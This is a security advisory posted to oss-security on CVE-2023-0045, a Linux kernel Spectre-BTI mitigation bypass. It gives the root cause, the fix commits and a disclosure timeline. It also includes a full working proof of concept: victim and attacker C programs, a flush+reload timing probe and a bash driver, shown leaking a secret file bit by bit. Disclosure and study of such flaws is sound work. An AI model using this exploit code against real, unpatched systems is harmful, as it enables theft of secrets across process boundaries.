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Date: Fri, 3 Feb 2023 13:11:01 -0500
From: Rafael Correa De Ysasi <rcorreadeysasi@...omium.org>
To: oss-security@...ts.openwall.com
Cc: 3pvd@...gle.com
Subject: CVE-2023-0045: Linux Kernel: Bypassing Spectre-BTI User Space Mitigations
Summary
The Linux kernel does not correctly mitigate SMT attacks, as discovered
through a strange pattern in the kernel API using STIBP as a mitigation[1
<https://docs.kernel.org/userspace-api/spec_ctrl.html>], leaving the
process exposed for a short period of time after a syscall. The kernel also
does not issue an IBPB immediately during the syscall.
The ib_prctl_set [2
<https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467>]function
updates the Thread Information Flags (TIFs) for the task and updates the
SPEC_CTRL MSR on the function __speculation_ctrl_update [3
<https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557>],
but the IBPB is only issued on the next schedule, when the TIF bits are
checked. This leaves the victim vulnerable to values already injected on
the BTB, prior to the prctl syscall.
The behavior is only corrected after a reschedule of the task happens.
Furthermore, the kernel entrance (due to the syscall itself), does not
issue an IBPB in the default scenarios (i.e., when the kernel protects
itself via retpoline or eIBRS).
Severity
High - The inability to correctly mitigate SMT attacks, leaves the kernel
exposed for an attacker to inject malicious code into the running kernel,
which could lead to a complete compromise of the system.
Proof of Concept
To ensure this wasn't a measurement error, we created a simple POC. The
victim code always executes asafe_function through a function pointer that
is vulnerable to a spectre-BTI attack. The victim requests the kernel for
protection using the prctl syscall (inside protect_me). The victim also
loads a secret from a text file, showing that other syscalls don’t check
the TIF bit or provoke a reschedule that would force an IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they
match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an
attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
Most of the libc functions were placed inside a common header between the
attacker and the victim, so the spectre_gadget and spec functions share the
same memory addresses on both victim and attacker (otherwise a .GOT entry
is created and the addresses are changed). This is not a requirement and
there are other ways to place the branches on the same addresses and mimic
the victim context, but this method is the simplest.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function does nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probably not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but
could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks -
https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH,
PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec
function matches the same address on both victim and attacker. This is
not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
The attack consists in poisoning the BTB by calling the spec function and
making it branch to spectre_gadget instead of safe_function. After the
training the victim process is created and it executes spec that
mispredicts to spectre_gadget which should never be executed. The secret is
leaked through a classic flush+reload side channel.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Since the victim receives an argument that can be used to choose the bit to
be leaked through the side channel, we can execute the victim process
multiple times while the attacker is executing:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
This leaves the following text file:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Note that bit 0 and 6 are 1, therefore the first character must be 0x41(A).
Parsing the file with a simple Python script shows:The secret leaked is:
b'Asuper_secret_flag' which is the exact content present in secret.txt used
by the victim.
Changing the prctl call for seccomp to
syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); after loading the secret
doesn't prevent the attack. This is expected since internally both use the
same ib_prctl_set function to implement the mitigation.
Further Analysis
The current implementation of the prctl syscall for speculative control
fails to protect the user against attackers executing before the
mitigation. The seccomp mitigation also fails in this scenario.
The patch that added support for the conditional mitigation via prctl
(ib_prctl_set) dates back to the kernel 4.9.176. It appears to have been
introduced on Nov 28, 2018 in the following commit: torvalds/linux@...7bb2
<https://github.com/torvalds/linux/commit/9137bb27e60e554dab694eafa4cca241fa3a694f>
and
the current __speculation_ctrl_update code that sets the MSRs, but without
the immediate IBPB, was added on the same day in the following commit:
torvalds/linux@...af56
<https://github.com/torvalds/linux/commit/01daf56875ee0cd50ed496a09b20eb369b45dfa5>.
This indicates that the issue has been present in the kernel for about 4
years.
Mitigations
For user-mode applications, a usleep after the prctl call is enough to
force a reschedule and ensure the correct mitigation. One possible kernel
patch for this attack is to issue the IBPB just after the STIBP is set, on
__speculation_ctrl_update [3
<https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557>]
or to call schedule(). After discussing with the Linux Kernel Security
Team, that is what was decided, and the following commit has the fix:
https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=a664ec9158eeddd75121d39c9a0758016097fa96
.
Patch
This was addressed in the following [commit].(
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/arch/x86/kernel/cpu/bugs.c?h=v6.1.9&id=e8377f0456fb6738a4668d4df16c13d7599925fd
)
Timeline
*Date reported*: 12/30/2022
*Date fixed*: 01/04/2023
*Date disclosed*: 02/03/2023
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